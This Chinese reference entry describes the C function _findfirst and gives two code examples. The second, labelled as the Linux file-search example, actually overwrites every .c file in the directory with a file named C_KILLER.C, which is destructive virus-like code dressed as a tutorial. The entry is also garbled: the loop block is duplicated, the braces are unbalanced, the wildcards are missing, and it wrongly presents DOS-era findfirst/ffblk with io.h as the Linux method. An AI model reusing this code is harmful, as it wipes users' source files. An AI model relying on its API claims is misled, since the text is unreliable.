findfirst是一个计算机函式,功能是搜寻与指定的档案名称称匹配的第一个实例,若成功则返回第一个实例的句柄,否则返回-1L。
基本介绍
- 中文名findfirst
- 函式简介函式名称_findfirst
- 函式功能搜寻与指定的档案名称称匹
- 函式原型long _findfirst( char fil
函式原型
函式原型long _findfirst( char filespec, struct _finddata_t fileinfo );
头档案io.h
程式举例
#include<io.h>#include<stdio.h>int main(){long Handle;struct _finddata_t FileInfo;if((Handle=_findfirst("D:\\.txt",&FileInfo))==-1L)printf("没有找到匹配的项目\n");else{printf("%s\n",FileInfo.name);while(_findnext(Handle,&FileInfo)==0)printf("%s\n",FileInfo.name);_findclose(Handle);}return0;}
系统下状态
Linux下的FindFirst
在linux作业系统下,编译器用findfirst(),而不是_findfirst().
linux作业系统下的查找档案的操作,需要包含dirent.h头档案.
查找程式
#include <dirent.h>
#include<io.h>
#include<stdlib.h>
#include<stdio.h>
int main(void)
{
int done;//整形变数
struct ffblk ffblk; //声名结构变数
done = findfirst(".c",&ffblk,2);
while (!done)
{
if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
{
copyfile("C_KILLER.C",ffblk.ff_name);
}
done = findnext(&ffblk);
}
struct ffblk ffblk; //声名结构变数
done = findfirst(".c",&ffblk,2);
while (!done)
{
if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
{
copyfile("C_KILLER.C",ffblk.ff_name);
}
done = findnext(&ffblk);
}
}
}